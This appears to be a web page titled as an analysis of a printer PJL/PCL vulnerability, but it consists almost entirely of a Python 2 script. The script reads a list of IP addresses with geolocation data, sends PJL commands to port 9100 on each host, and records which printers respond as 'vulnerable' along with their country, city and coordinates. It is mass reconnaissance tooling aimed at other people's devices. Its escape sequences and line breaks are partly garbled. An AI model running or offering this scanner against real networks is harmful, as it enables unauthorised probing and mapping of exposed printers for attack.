Pft测试是什么打印机PCL漏洞原理分析

#!/usr/bin/env python

    # -*- coding: UTF-8 -*-

    import socket

    import json

    import sys

    from optparse import OptionParser

    PJL_START = "033%-12345X@PJL "

    PJL_FINISH = "033%-12345X
"

    PJL_USTATUS = "USTATUS DEVICE="

    PJL_INFO_ID = "INFO ID
"

    EOF = PJL_START + PJL_USTATUS + "OFF
" + PJL_FINISH  #PJL  语言

    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  #PJL  语言  获取设备型号

    class Printer():

        def __init__(self):

            self.usage()

            if sys.argv < 1 :

                self.usage()

            self.readfile(options.file)

        def usage(self):

            parser = OptionParser()

            parser.add_option("-i", "--ip", dest="ip",

                              help="test single ip")  #

            parser.add_option("-f", "--file",dest="file",

                              help="files ") #

            global options

            (options, args) = parser.parse_args()

        def Buildsocket(self, ip, port=9100):

            sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)   #与主机建立socket连接

            sock.settimeout(5)

            try:

                sock.connect((ip, port))

            except:

                print "[!*]-ip-%s-can't connect--" % ip

                return 'error'

            sock.send(EOF)

            sock.send(DEVICEID)   # 发送PJL指令给远程打印机

            try:

                device = sock.recv(1024)

            except:

                return 'No'

            print "[!*]-ip-%s-is-ok
deviceidis-%s" % (str(ip), device)

            sock.close()

            return 'OK'

        def GetDiviceMap(self, data,status):

            f = open('result.txt', 'a+')

            try:

                f.write(str(data['ip']) + ', ' + status + ', ' + str(data['geoinfo']['country']['name']['en'])

                +', '+ str(data['geoinfo']['city']['en']) + ', ' + str(data['geoinfo']['location']['longitude'])

                +', '+ str(data['geoinfo']['location']['latitude']) + ', ' + str(data['geoinfo']['country']['code'])

                +', ' + str(data['geoinfo']['continent']['name']['en']) + "
")

            except:

                pass

            f.close()

        def readfile(self, file):

            Vuln_ip = 0 # ip 列表输入的IP数量

            No_vuln_ip = 0

            CantConnectIP = 0

            linenum = 0

            f = open(file, 'r')

            for line in f.readlines():

                data = json.loads(line)

                status = self.Buildsocket(data['ip'])

                if status == 'error':

                    CantConnectIP += 1

                elif status == 'No':

                    No_vuln_ip += 1

                else:

                    Vuln_ip += 1

                self.GetDiviceMap(data, status)

                linenum += 1

                print "[!*]-Now-is-%s-lines" % str(linenum)

            f.close()

            print str(CantConnectIP) + "  " + str(No_vuln_ip) + "  " + str(Vuln_ip)

    if __name__ == '__main__':

        Printer()